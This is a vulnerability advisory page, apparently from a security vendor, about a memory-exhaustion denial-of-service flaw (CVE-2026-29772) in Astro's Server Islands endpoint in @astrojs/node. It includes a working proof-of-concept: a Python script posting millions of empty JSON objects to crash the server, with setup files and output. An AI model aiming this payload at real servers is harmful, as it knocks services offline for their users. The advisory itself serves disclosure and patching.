Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦
📦 npm
Not in CISA KEV
MEDIUM severity

GHSA-3rmj-9m5h-8fpv — @astrojs/node

MEDIUMFix: withastro/astro@f9ee868

GHSA-3rmj-9m5h-8fpv is a medium-severity (CVSS 5.9) CWE-770 vulnerability in @astrojs/node. A fix is available for @astrojs/node — see the affected versions and patch details below.

Astro: Memory exhaustion DoS due to missing request body size limit in Server Islands

Also known asCVE-2026-29772
Published
Mar 24, 2026
Updated
Mar 30, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 21, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for GHSA-3rmj-9m5h-8fpv.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs31th percentile — riskier than 31% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-3rmj-9m5h-8fpv plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 379,145 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

87other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
@astrojs/nodenpm
551Kdownloads / week

Description

Summary

Astro's Server Islands POST handler buffers and parses the full request body as JSON without enforcing a size limit. Because JSON.parse() allocates a V8 heap object for every element in the input, a crafted payload of many small JSON objects achieves ~15x memory amplification (wire bytes to heap bytes), allowing a single unauthenticated request to exhaust the process heap and crash the server. The /_server-islands/[name] route is registered on all Astro SSR apps regardless of whether any component uses server:defer, and the body is parsed before the island name is validated, so any Astro SSR app with the Node standalone adapter is affected.

Details

Astro automatically registers a Server Islands route at /_server-islands/[name] on all SSR apps, regardless of whether any component uses server:defer. The POST handler in packages/astro/src/core/server-islands/endpoint.ts buffers the entire request body into memory and parses it as JSON with no size or depth limit:

// packages/astro/src/core/server-islands/endpoint.ts (lines 55-56)
const raw = await request.text();    // full body buffered into memory — no size limit
const data = JSON.parse(raw);        // parsed into V8 object graph — no element count limit

The request body is parsed before the island name is validated, so the attacker does not need to know any valid island name — /_server-islands/anything triggers the vulnerable code path. No authentication is required.

Additionally, JSON.parse() allocates a heap object for every array/object in the input, so a payload consisting of many empty JSON objects (e.g., [{},{},{},...]) achieves ~15x memory amplification (wire bytes to heap bytes). The entire object graph is held as a single live reference until parsing completes, preventing garbage collection. An 8.6 MB request is sufficient to crash a server with a 128 MB heap limit.

PoC

Environment: Astro 5.18.0, @astrojs/node 9.5.4, Node.js 22 with --max-old-space-size=128.

The app does not use server:defer — this is a minimal SSR setup with no server island components. The route is still registered and exploitable.

Setup files:

package.json:

{
  "name": "poc-server-islands-dos",
  "scripts": {
    "build": "astro build",
    "start": "node --max-old-space-size=128 dist/server/entry.mjs"
  },
  "dependencies": {
    "astro": "5.18.0",
    "@astrojs/node": "9.5.4"
  }
}

astro.config.mjs:

import { defineConfig } from 'astro/config';
import node from '@astrojs/node';

export default defineConfig({
  output: 'server',
  adapter: node({ mode: 'standalone' }),
});

src/pages/index.astro:

---
---
<html>
<head><title>Astro App</title></head>
<body>
  <h1>Hello</h1>
  <p>Just a plain SSR page. No server islands.</p>
</body>
</html>

Dockerfile:

FROM node:22-slim
WORKDIR /app
COPY package.json .
RUN npm install
COPY . .
RUN npm run build
EXPOSE 4321
CMD ["node", "--max-old-space-size=128", "dist/server/entry.mjs"]

docker-compose.yml:

services:
  astro:
    build: .
    ports:
      - "4321:4321"
    deploy:
      resources:
        limits:
          memory: 256m

Reproduction:

# Build and start
docker compose up -d

# Verify server is running
curl http://localhost:4321/
# => 200 OK

crash.py:

import requests

# Any path under /_server-islands/ works — no valid island name needed
TARGET = "http://localhost:4321/_server-islands/x"

# 3M empty objects: each {} is ~3 bytes JSON but ~56-80 bytes as V8 object
# 8.6 MB on wire → ~180+ MB heap allocation → exceeds 128 MB limit
n = 3_000_000
payload = '[' + ','.join(['{}'] * n) + ']'
print(f"Payload: {len(payload) / (1024*1024):.1f} MB")

try:
    r = requests.post(TARGET, data=payload,
        headers={"Content-Type": "application/json"}, timeout=30)
    print(f"Status: {r.status_code}")
except requests.exceptions.ConnectionError:
    print("Server crashed (OOM killed)")
$ python crash.py
Payload: 8.6 MB
Server crashed (OOM killed)

$ curl http://localhost:4321/
curl: (7) Failed to connect to localhost port 4321: Connection refused

$ docker compose ps
NAME      IMAGE     COMMAND   SERVICE   CREATED   STATUS    PORTS
(empty — container was OOM killed)

The server process is killed and does not recover. Repeated requests in a containerized environment with restart policies cause a persistent crash-restart loop.

Impact

Any Astro SSR app with the Node standalone adapter is affected — the /_server-islands/[name] route is registered by default regardless of whether any component uses server:defer. Unauthenticated attackers can crash the server process with a single crafted HTTP request under 9 MB. In containerized environments with memory limits, repeated requests cause a persistent crash-restart loop, denying service to all users. The attack requires no authentication and no knowledge of valid island names — any value in the [name] parameter works because the body is parsed before the name is validated.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npm@astrojs/nodeall versions10.0.0npm install @astrojs/node@10.0.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @astrojs/node, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update @astrojs/node to 10.0.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-3rmj-9m5h-8fpv is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-3rmj-9m5h-8fpv can be triaged on real exposure rather than presence alone.

Tailored to GHSA-3rmj-9m5h-8fpv. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary Astro's Server Islands POST handler buffers and parses the full request body as JSON without enforcing a size limit. Because `JSON.parse()` allocates a V8 heap object for every element in the input, a crafted payload of many small JSON objects achieves ~15x memory amplification (wire bytes to heap bytes), allowing a single unauthenticated request to exhaust the process heap and crash the server. The `/_server-islands/[name]` route is registered on all Astro SSR apps regardless of whether any component uses `server:defer`, and the body is parsed before the island name is validated,
O3 Security · Impact-Aware SCA

Is GHSA-3rmj-9m5h-8fpv in your dependencies?

O3 Security finds GHSA-3rmj-9m5h-8fpv across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-3rmj-9m5h-8fpv: DoS (Medium 5.9) | O3 Security